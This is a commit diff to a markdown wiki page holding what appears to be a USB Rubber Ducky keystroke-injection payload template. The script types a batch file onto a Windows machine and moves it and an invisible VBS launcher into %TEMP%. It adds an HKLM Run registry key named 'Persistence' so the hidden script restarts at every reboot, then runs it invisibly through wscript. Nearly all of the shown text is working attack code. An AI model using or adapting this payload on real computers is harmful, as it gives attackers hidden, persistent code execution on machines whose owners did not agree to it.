Updated Payload generic batch (markdown)

This commit is contained in:
overwraith 2013-04-25 08:32:25 -07:00
parent 8b33669540
commit 9659a6d447
1 changed files with 7 additions and 4 deletions

View File

@ -27,12 +27,15 @@ ENTER
REM Make the batch file.
STRING copy con batch.bat
ENTER
REM Copy current program to another location.
STRING COPY %0 %TEMP%
ENTER
REM Registry key that restarts script on reboot.
STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\batch.bat" /f
ENTER
REM Copy invis.bat to another location
STRING move invis.vbs %TEMP%
ENTER
REM Copy current program to another location.
STRING move %0 %TEMP%
ENTER
REM Continue batch file contents here. . .
CONTROL z
ENTER
@ -49,6 +52,6 @@ CONTROL Z
ENTER
STRING wscript.exe invis.vbs batch.bat
ENTER
STRING EXIT
STRING exit
ENTER
```